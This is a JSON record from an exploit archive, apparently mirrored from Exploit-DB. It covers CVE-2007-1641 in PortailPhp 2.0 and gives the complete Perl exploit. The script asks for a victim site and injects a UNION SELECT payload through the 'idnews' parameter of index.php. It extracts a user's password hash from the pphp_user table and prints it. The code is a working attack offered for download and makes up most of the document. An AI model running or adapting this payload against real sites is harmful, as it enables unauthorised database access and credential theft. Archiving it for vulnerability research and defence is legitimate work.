{"exploit":{"id":"EDB-3543","name":"PortailPhp 2.0 - 'idnews' SQL Injection (SQLi)","description":"PortailPhp 2.0 - 'idnews' SQL Injection (SQLi)","cves":["CVE-2007-1641"],"author":"Mehmet Ince","published":"2007-03-22","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3543","path":"exploits/php/webapps/3543.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3543.pl","vulnerabilities":[{"id":"CVE-2007-1641","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in PortailPHP 2.0 allows remote attackers to execute arbitrary SQL commands via the idnews parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1641","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1641"},"updatedAt":"2024-08-07T13:06:26.170Z","retrievedAt":"2026-11-27T00:10:59.632Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3543.png?v=2","url":"https://exploitbin.com/exploits/EDB-3543","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3543/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3543/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"use LWP::Simple;\nprint \"\nExploit Coded (c) by xoron\nPortail PHP v20 (index.php) Remote SQL Injection Exploit\nLanguages: Turkish, English\nPlz Select Language:\";\n$dil = <stdin>;\n%eng = (\n\"site\" => \"Enter The Victim Without http://:\",\n\"path\" => \"Plz Select Path:\",\n\"id\" => \"Plz Select User ID:\"\n);\n%turk = (\n\"site\" => \"Site Adi http:// ile baslayan:\",\n\"path\" => \"Dizin:\",\n\"id\" => \"ID: \"\n);\nif($dil=~/^turkish$/i){\n%dil = %turk;\n}\nelsif($dil=~/^english$/i){\n%dil = %eng;\n}\nelse{print \"Undefined Language\"; exit}\nprint $dil{site};\nchop($site=<stdin>);\n$site = \"http://$site\" if !($site=~/^http/);\nprint $dil{path};\nchop($dir=<stdin>);\n$dir = \"/portailphp/\" if !$dir;\nprint $dil{id};\nchop($id =<stdin>);\n$id = 2 if !$id;\nprint \"Connecting to $site\\n\";\n$sql = \"index.php?affiche=Comment&act=lire&idnews=-1/**/union/**/select/**/0,\";\n$sql .= \"1,2,US_pwd,4,5,6,7,8,9,10/**/from/**/pphp_user/**/where/**/US_uid=$id/*\";\n$get = get(\"$site$dir$sql\");\nif($get){\nif($get=~/<td><strong>\\&nbsp\\;\\&nbsp\\;(.*?)<\\/strong>/){\nprint \"You are very Lucky Boy\\nI Got Hash 4 ya\\nID: $id\\nHash: $1\";\nexit\n}\nelsif($get=~/<td><strong>(.*?)<\\/strong>/){\nprint \"Yep I got hash 4 ya\\nID: $id\\nHash: $1\\n\";\nexit;\n}\nelse{print \"Exploit Failed\\n\";exit}\n}\nprint \"Connect Failed to $site\\n\";\nexit;\n\n# milw0rm.com [2007-03-22]","sha256":"3cab7e1e13994e9ba7bbda1ce02d30f0d11c88a907427dd0311b38310ac08311","bytes":1288,"fetchedAt":"2026-11-27T00:10:57.865Z","encoding":"utf-8 (display only; download retains original bytes)"}